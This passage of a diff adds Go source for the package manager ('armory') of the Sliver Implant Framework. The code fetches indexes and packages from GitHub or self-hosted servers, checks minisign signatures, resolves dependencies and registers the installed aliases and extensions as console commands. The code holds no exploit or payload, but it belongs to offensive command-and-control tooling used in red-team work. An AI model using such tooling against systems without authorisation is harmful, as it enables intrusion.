|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryPkg.RepoURL,
|
||||
}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
|
||||
return
|
||||
}
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
return
|
||||
}
|
||||
if sig != nil {
|
||||
pkgCacheEntry.Sig = *sig
|
||||
} else {
|
||||
pkgCacheEntry.LastErr = errors.New("nil signature")
|
||||
return
|
||||
}
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
package armory
|
||||
@@ -0,0 +1,309 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrPackageNotFound - The package was not found
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packagesInCache()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
|
||||
len(aliases), len(extensions),
|
||||
),
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name || name == "all" {
|
||||
installAlias(alias, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("All packages installed\n")
|
||||
return nil
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading alias ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, con.App) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == "" {
|
||||
return // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == name {
|
||||
return // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[entry.Extension.DependsOn]; ok {
|
||||
return // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
return
|
||||
}
|
||||
deps[entry.Extension.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading extension ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = tmpFile.Sync()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install extension")
|
||||
}
|
||||
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,500 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
"api.github.com": GithubAPIArmoryIndexParser,
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubAPIArmoryPackageParser,
|
||||
"github.com": GithubArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
const (
|
||||
armoryIndexFileName = "armory.json"
|
||||
armoryIndexSigFileName = "armory.minisig"
|
||||
)
|
||||
|
||||
type armoryIndexResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig (Base64)
|
||||
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
|
||||
}
|
||||
|
||||
type armoryPkgResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig (Base64)
|
||||
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
|
||||
// DefaultArmoryParser - Parse the armory index directly from the url
|
||||
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
indexResp := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, indexResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
|
||||
if !valid {
|
||||
return nil, errors.New("index has invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub API Parsers
|
||||
//
|
||||
|
||||
type GithubAsset struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
Size int `json:"size"`
|
||||
|
||||
BrowserDownloadURL string `json:"browser_download_url"`
|
||||
}
|
||||
|
||||
type GithubRelease struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
HTMLURL string `json:"html_url"`
|
||||
TagName string `json:"tag_name"`
|
||||
Body string `json:"body"`
|
||||
Prerelease bool `json:"prerelease"`
|
||||
TarballURL string `json:"tarball_url"`
|
||||
ZipballURL string `json:"zipball_url"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
PublishedAt string `json:"published_at"`
|
||||
Assets []GithubAsset `json:"assets"`
|
||||
}
|
||||
|
||||
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(releases) < 1 {
|
||||
return nil, errors.New("no releases found")
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var armoryIndexData []byte
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
sig, err = parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub Parsers
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
// We need to intercept the 302 redirect to determine the latest version tag
|
||||
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
|
||||
client := httpClient(clientConfig)
|
||||
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
latestURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
|
||||
latestRedirect, err := client.Get(latestURL.String())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
defer latestRedirect.Body.Close()
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
if latestRedirect.Header.Get("Location") == "" {
|
||||
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
|
||||
}
|
||||
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
|
||||
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
|
||||
}
|
||||
pathSegments := strings.Split(latestLocationURL.Path, "/")
|
||||
for index, segment := range pathSegments {
|
||||
if segment == "tag" && index+1 < len(pathSegments) {
|
||||
return pathSegments[index+1], nil
|
||||
}
|
||||
}
|
||||
return "", errors.New("tag not found in location header")
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
